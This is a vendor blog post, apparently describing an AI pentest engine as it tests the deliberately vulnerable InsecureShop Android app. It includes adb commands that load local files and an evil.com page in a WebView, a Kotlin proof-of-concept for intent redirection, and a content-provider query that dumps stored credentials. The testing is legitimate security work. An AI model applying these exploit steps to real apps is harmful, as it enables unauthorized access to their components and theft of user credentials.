Ostorlab's AI Pentest Engine is designed to replicate the complex, multi-step process of an expert human security researcher. It doesn't just run a scanner and report the output; it forms hypotheses, tests them, and validates its own findings.

To put this to the test, we pointed the engine at the InsecureShop Android application with the objective of testing for Intent Redirection vulnerabilities. The goal of testing a vulnerability class is defined by a threat intelligence module that identifies all the risks and the context to test for, but more on that in later posts.

What followed was an elegant & fast pentesting process. The AI engine decompiled the application, identified potentially vulnerable components through static analysis, and then rigorously attempted to validate each finding using dynamic analysis and proof-of-concept applications.

This post documents the engine's complete, unedited workflow, highlighting not only its ability to find critical bugs but, just as importantly, its capacity to confirm or exclude them.

Test Plan Generation

The first step of AI Engine is developing a 10-task methodology with the following objectives:

• Identify all exported application components and their intent filters
• Analyze intent handling for potential redirection flaws
• Fuzz components with malicious intents to trigger unintended behavior
• Develop full proof-of-concept applications for confirmed vulnerabilities

Plan Breakdown

1. APK Decompilation - Extract AndroidManifest.xml file, resources, and source code for mapping the application's attack surface
2. Component Analysis - Enumerate all activities, services, and broadcast receivers, focusing on components with android:exported=true
3. Intent Filter Documentation - Document actions, categories, and data schemes for each exported component
4. Source Code Review - Examine exported components for patterns where Intent objects are created or extracted from received intent extras
5. Environment Setup - Install application on test device with logging and monitoring tools enabled
6. Malicious Intent Crafting - Create intents with nested intents embedded in extras bundles to test redirection capabilities
7. Privilege Escalation Testing - Target non-exported components through nested intents to test for unauthorized access
8. System Monitoring - Monitor logcat and application behavior for signs of successful intent redirection
9. PoC Development - Create Android applications demonstrating security impact through malicious intent crafting
10. Documentation - Document findings with vulnerable components, malicious intents used, and PoC source code

Engine Step-by-Step Reasoning

apk_path='/REDACTED/InsecureShop.apk'_

<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" package="com.insecureshop">
  <uses-permission android:name="android.permission.INTERNET"/>
  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

  <application android:debuggable="true" ...>
    <activity android:name="com.insecureshop.WebViewActivity">
      <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="insecureshop" android:host="com.insecureshop"/>
      </intent-filter>
    </activity>
    <activity android:name="com.insecureshop.WebView2Activity" android:exported="true">
      <intent-filter>
        <action android:name="com.insecureshop.action.WEBVIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
      </intent-filter>
    </activity>
    <activity android:name="com.insecureshop.PrivateActivity" android:exported="false"/>
    ...
    <provider android:name="com.insecureshop.contentProvider.InsecureShopProvider" android:readPermission="com.insecureshop.permission.READ" android:exported="true" android:authorities="com.insecureshop.provider"/>
    <service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>
  </application>
</manifest>

Finding 1: Local File Inclusion in WebViewActivity

The AI's static analysis of WebViewActivity.java and its corresponding manifest entry led to a hypothesis: the activity could be tricked into loading local files via the url parameter in a custom URI, indicating a potential Local File Inclusion (LFI) vulnerability. The AI then moved to validate this hypothesis.

Step 1: Trigger the Webview
- Tool name: adb
- Args:

shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://evil.com

Step 2: Result Observation
- Tool name: run_take_screenshot
- Output: Successfully captured 1 screenshots.

Step 3: Create Test File
- Tool name: adb
- Args:

shell echo <html><body><h1>Vulnerability Confirmed</h1></body></html> > /data/local/tmp/validation.html

Step 4: Attempt to Load Local File via Intent
- Tool name: adb
- Args:

shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/local/tmp/validation.html"

Step 5: Result Observation - Tool name: run_take_screenshot
- Output: Successfully captured 1 screenshots.

Finding 2: Intent Redirection in WebView2Activity

Next, the AI analyzed WebView2Activity, an exported activity that appeared to launch any Intent passed to it as a Parcelable extra named extra_intent. This is a classic pattern for Intent Redirection, which could allow a malicious app to launch non-exported components.

To validate this, the AI constructed and deployed a proof-of-concept malicious application designed to exploit this flaw and launch the non-exported PrivateActivity.

Step1: Build and Install PoC

Tool name: run_build_app
Args:
Imports:

  import android.content.ComponentName
  import android.content.Intent
  import android.os.Bundle
  import androidx.appcompat.app.AppCompatActivity

PoC Application Code:

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        val maliciousIntent = Intent()
        maliciousIntent.component = ComponentName("com.insecureshop", "com.insecureshop.PrivateActivity")

        val wrapperIntent = Intent()
        wrapperIntent.component = ComponentName("com.insecureshop", "com.insecureshop.WebView2Activity")
        wrapperIntent.action = "com.insecureshop.action.WEBVIEW"
        wrapperIntent.putExtra("extra_intent", maliciousIntent)

        startActivity(wrapperIntent)
    }
}

Tool name: adb
Args:

install /REDACTED/pentestingApp-debug.apk

Output:

    Performing Streamed Install
    Success

Step2: Launch PoC and Observe

Tool name: adb
Args:

shell am start -n com.example.pentestingapp/.MainActivity

Output:

Starting: Intent { cmp=com.example.pentestingapp/.MainActivity }

Tool name: run_take_screenshot
Output: Successfully captured 1 screenshots.

Finding 3: Credential Leak via InsecureShopProvider

The AI identified an exported content provider protected by a normal-level permission, suggesting any app could query it. Static analysis of InsecureShopProvider.java indicated it returned stored user credentials.

<provider 
    android:name="com.insecureshop.contentProvider.InsecureShopProvider" 
    android:readPermission="com.insecureshop.permission.READ" 
    android:exported="true" 
    android:authorities="com.insecureshop.provider"/>
<permission android:name="com.insecureshop.permission.READ"/>

@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    Intrinsics.checkParameterIsNotNull(uri, "uri");
    UriMatcher uriMatcher2 = uriMatcher;
    if (uriMatcher2 != null && uriMatcher2.match(uri) == 100) {
        MatrixCursor cursor = new MatrixCursor(new String[]{"username", "password"});
        String[] strArr = new String[2];
        String username = Prefs.INSTANCE.getUsername();
        if (username == null) {
            Intrinsics.throwNpe();
        }
        strArr[0] = username;
        String password = Prefs.INSTANCE.getPassword();
        if (password == null) {
            Intrinsics.throwNpe();
        }
        strArr[1] = password;
        cursor.addRow(strArr);
        return cursor;
    }
    return null;
}

shell content query --uri content://com.insecureshop.provider/insecure

Row: 0 username=shopuser, password=!ns3csh0p

<service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>

{"tool_name": "run_build_app", "content": "AssembleDebug failed: ./gradlew assembleDebug\nError: e: ... Unresolved reference: UploadTaskParameters"}